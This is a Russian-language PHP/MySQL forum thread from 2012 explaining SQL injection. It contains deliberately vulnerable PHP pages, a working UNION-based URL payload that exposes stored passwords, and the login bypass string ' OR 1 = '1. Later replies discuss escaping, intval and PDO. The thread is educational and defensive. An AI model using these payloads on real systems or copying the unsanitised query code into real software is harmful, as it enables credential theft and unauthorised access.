Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум MySQL

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: как работает SQL-инъекция
 
 автор: Dazzl   (21.03.2012 в 14:50)   письмо автору
 
 

Вообщем название говорит за себя )

  Ответить  
 
 автор: cheops   (21.03.2012 в 14:57)   письмо автору
2.1 Кб
 
   для: Dazzl   (21.03.2012 в 14:50)
 

Их два вида, один работает по строкам, другой по числам. Чтобы не говорить беспредметно, разверните систему регистрации из прикрепленного архива. Регистрационная информация попадает в таблицу вида
CREATE TABLE userslist (
  id_user INT(11) NOT NULL AUTO_INCREMENT,
  name TINYTEXT NOT NULL,
  pass TINYTEXT NOT NULL,
  email TINYTEXT NOT NULL,
  url TINYTEXT NOT NULL,
  PRIMARY KEY (id_user)
);

  Ответить  
 
 автор: cheops   (21.03.2012 в 15:10)   письмо автору
 
   для: cheops   (21.03.2012 в 14:57)
 

SQL-инъекция по числу проводится так. Создайте мини-приложение, которое выводит список всех пользователей index.php
<?php
  
// Устанавливаем соединение с базой данных
  
require_once("config.php"); 
  
// Запрашиваем список всех пользователей
  
$query "SELECT * FROM userslist ORDER BY name";
  
$usr mysql_query($query);
  if(!
$usr) exit("Ошибка - ".mysql_error());
  while(
$user mysql_fetch_array($usr))
  {
    echo 
"<a href=user.php?id_user=$user[id_user]>$user[name]</a><br>";
  }
?>
и файл user.php, выводящий подробную информацию без пароля
<?php
  
// Устанавливаем соединение с базой данных
  
require_once("config.php"); 
  
// Запрашиваем список всех пользователей
  
$query "SELECT * FROM userslist WHERE id_user = $_GET[id_user]";
  
$usr mysql_query($query);
  if(!
$usr) exit("Ошибка - ".mysql_error());
  
$user mysql_fetch_array($usr);
  echo 
"Имя пользователя - $user[name]<br>";
  if(!empty(
$user['email'])) echo "e-mail - $user[email]<br>";
  if(!empty(
$user['url'])) echo "URL - $user[url]<br>";
?>
Допустим, у вас есть в базе данных пользователь с id_user = 1, запрос user.php?id_user=1 выводит информацию по нему (кроме пароля), а теперь ведите в строку запроса следующий эксплоит
user.php?id_user=-1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201
Вместо имени пользователя у вас выведется пароль. Как составлять SQL-инъекцию? Вот исходный SQL-запрос
SELECT * FROM userslist WHERE id_user = 1
вместо 1 можно подставлять все что угодно, любую строку, почему бы не расширить SQL-запрос до
SELECT * FROM userslist WHERE id_user = 
UNION 
SELECT * FROM userslist WHERE id_user = 1
не жирную часть уже не исправить, она зашита в коде, нужно её выключить, берем заведом не существующее значение -1
SELECT * FROM userslist WHERE id_user = -1 
UNION 
SELECT * FROM userslist WHERE id_user = 1
если теперь поправить во втором значение идентификатор, можно убедиться, что выводятся данные именно второго запроса, первый - возвращает пустую результирующую таблицу. В качестве другой манипуляции часто используют ORDER BY и LIMIT 1, чтобы просто отсортировать результат таким образом, чтобы первыми шли строи из инъекции, а не из базового запроса. Теперь расшифровываем * в SELECT-выражении
SELECT * FROM userslist WHERE id_user = -1 
UNION 
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1
Теперь достаточно поменять местами name и pass, чтобы вместо имени выводился пароль
SELECT * FROM userslist WHERE id_user = -1 
UNION 
SELECT id_user, pass, name, email, url FROM userslist WHERE id_user = 1
после этого остается только взять, то что выделенно жирным и подставить вместо id_user в строке запроса. SQL-инъкция готова.

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 15:22)   письмо автору
 
   для: cheops   (21.03.2012 в 15:10)
 

Еще один маленький вопрос: эта инъекция будет работать если запрос принимается до конекта с базой?

  Ответить  
 
 автор: cheops   (21.03.2012 в 15:27)   письмо автору
 
   для: Dazzl   (21.03.2012 в 15:22)
 

Я немного ошибся, не тот код ввел вместо user.php, посмотрите сейчас. Видите перед тем, как задействовать $_GET[id_user] в SQL-запросе, мы никак не проверяем что это, число или строка. Все-равно до или после коннект - в строку запроса сыпется все, что угодно, а на SQL можно написать довольно сложную программу.

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 15:39)   письмо автору
 
   для: cheops   (21.03.2012 в 15:27)
 

Я вам премного благодарен за код и объяснение, я пока на работе и у нас напряги и вот так вот сразу взять и понять не могу, я просто не могу сосредоточиться )) я обязательно по позже отпишусь или к сожалению завтра, тока не бросайте пожалуйста эту тему на дно, я хочу еще потрести эту тему ) с/у Dazzl

  Ответить  
 
 автор: Valick   (21.03.2012 в 15:27)   письмо автору
 
   для: Dazzl   (21.03.2012 в 15:22)
 

странное у вас представление действительности, даже как-то сразу не ответишь на ваш вопрос

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 16:24)   письмо автору
 
   для: cheops   (21.03.2012 в 15:10)
 

Вот когда я ввожу
user.php?id_user=-1%20UNION%20SELECT%20*%20FROM%20userslist%20WHERE%20 id_user%20=%201 нечего не происходит ( что не так?

  Ответить  
 
 автор: cheops   (21.03.2012 в 16:44)   письмо автору
 
   для: Dazzl   (21.03.2012 в 16:24)
 

Ага, сейчас поправлю текст, введите вот такой
-1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 16:48)   письмо автору
 
   для: cheops   (21.03.2012 в 16:44)
 

обратно нечего(

  Ответить  
 
 автор: cheops   (21.03.2012 в 16:58)   письмо автору
 
   для: Dazzl   (21.03.2012 в 16:48)
 

А user.php?id_user=1 у вас работает как надо (выводит информацию о пользователе), скрипт развернут корректно? И вообще есть ли запись в таблице с идентификатором id_user = 1?

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 17:00)   письмо автору
 
   для: cheops   (21.03.2012 в 16:58)
 

Да, работает!

Имя пользователя - name
e-mail - pochta@mail.ru
URL - adress


так вродь должно быть

  Ответить  
 
 автор: cheops   (21.03.2012 в 17:03)   письмо автору
 
   для: Dazzl   (21.03.2012 в 17:00)
 

А теперь вместо единицы подставьте -1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201 - должна открыться та же самая страница, но вместо name у вас должен быть пароль (если, вы конечно, тоже не name вбили).

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 17:06)   письмо автору
 
   для: cheops   (21.03.2012 в 17:03)
 

тока
Имя пользователя -

(

>если, вы конечно, тоже не name вбили

я не чего не менял я копировал и вставлял

и пароль у меня w

  Ответить  
 
 автор: cheops   (21.03.2012 в 17:12)   письмо автору
 
   для: Dazzl   (21.03.2012 в 17:06)
 

Если не сложно прикрепите дамп таблицы, чтобы можно было воспроизвести ситуацию?

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 17:17)   письмо автору
 
   для: cheops   (21.03.2012 в 17:12)
 

Извините мне пора идти еще раз спасибо!

  Ответить  
 
 автор: Dazzl   (22.03.2012 в 09:29)   письмо автору
 
   для: cheops   (21.03.2012 в 17:12)
 

Здравствуйте!

Значит у меня не получилось воспроизвести ситуацию, но алгоритм я понял.

Погасить зашитую команду и внедрить свою:

SELECT * FROM userslist WHERE id_user = -1 
UNION  
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1


Я так понял число -1 и гасит вшитую sql команду, это необязательно -1 это значит можно и 1млн. вписать т.е. что-нить что не существует в поле id-user, это так?

  Ответить  
 
 автор: Dazzl   (22.03.2012 в 13:00)   письмо автору
 
   для: Dazzl   (22.03.2012 в 09:29)
 

А-а! все-все получился у меня фокус с:

SELECT * FROM userslist WHERE id_user = -1  
UNION   
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1
 


я начинаю понимать ))

Вообщем люди, я почитал немного в инете и такой расклад:

'" . mysql_real_escape_string($_GET['city']) . "'


такой подход считается более или менее безопасным относительно текстовых запросов, что вы об этом думаете?

а на счет числовых данных то же что предлогали и вы функция intval() тока я не до конца понимаю что она делает (

  Ответить  
 
 автор: Valick   (22.03.2012 в 13:17)   письмо автору
 
   для: Dazzl   (22.03.2012 в 13:00)
 

mysql_real_escape_string($_GET['city'])
лучше всетаки сначала принять переменную, убедиться что она существует, присвоить значение по умолчанию, если переменная не передана, а потом обрабатывать

  Ответить  
 
 автор: Dazzl   (22.03.2012 в 13:29)   письмо автору
 
   для: Valick   (22.03.2012 в 13:17)
 

А ну да, я так и делаю типо вот так:

$name = $_REQUEST['name'];
if (!empty(name))
..."'.mysql_real_escape_string($name).'"...

  Ответить  
 
 автор: Dazzl   (22.03.2012 в 16:35)   письмо автору
 
   для: Dazzl   (22.03.2012 в 13:29)
 

Люди мне тут сказали что для решения проблем с SQL - инъекции нужно поюзать PDO что вы думаете на счет этого?

  Ответить  
 
 автор: cheops   (22.03.2012 в 17:27)   письмо автору
 
   для: Dazzl   (22.03.2012 в 16:35)
 

Для решения проблем с SQL-инъекциями нужно знать что это такое, не обязательно, но хорошо бы уметь их составлять. А чем вы будете решать это стандартными функциями, PDO, организацией кода, большого значения не имеет. Хотите PDO можно PDO, хотите подготовленными запросами...

PS Суть в том, что MySQL не единственная база данных, а PHP не единственный программист - проблема общая, поэтому нужно о ней знать вообще, а инструменты у вас будут везде разные, главное отдавать себе отчет в том, что делаешь и зачем это делаешь (иначе рано или поздно появится соблазн этого не делать).

  Ответить  
 
 автор: Dazzl   (21.03.2012 в 15:14)   письмо автору
 
   для: cheops   (21.03.2012 в 14:57)
 

_

  Ответить  
 
 автор: cheops   (21.03.2012 в 15:22)   письмо автору
 
   для: cheops   (21.03.2012 в 14:57)
 

SQL-инъекция в случае строк проводится по аналогии, пусть есть система авторизации
SELECT
  COUNT(*) FROM userslist 
WHERE
  name = '$name' AND
  pass = '$pass';
Если запрос возвращает 1, авторизация пройдена, если 0 - не пройдена. Подставляем нужный $name, модифицируя $pass таким образом, чтобы изменить логику SQL-запроса.
SELECT
  COUNT(*)
FROM
  userslist 
WHERE
  name = '$name' AND
  pass = '' OR 1 = '1';
Т.е. вместо пароля вводим ' OR 1 = '1 и вы входите в систему. Именно поэтому важно такие строки преобразовывать к виду \' OR 1 = \'1. Если этого нет, считайте, что вас уже взломали.

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования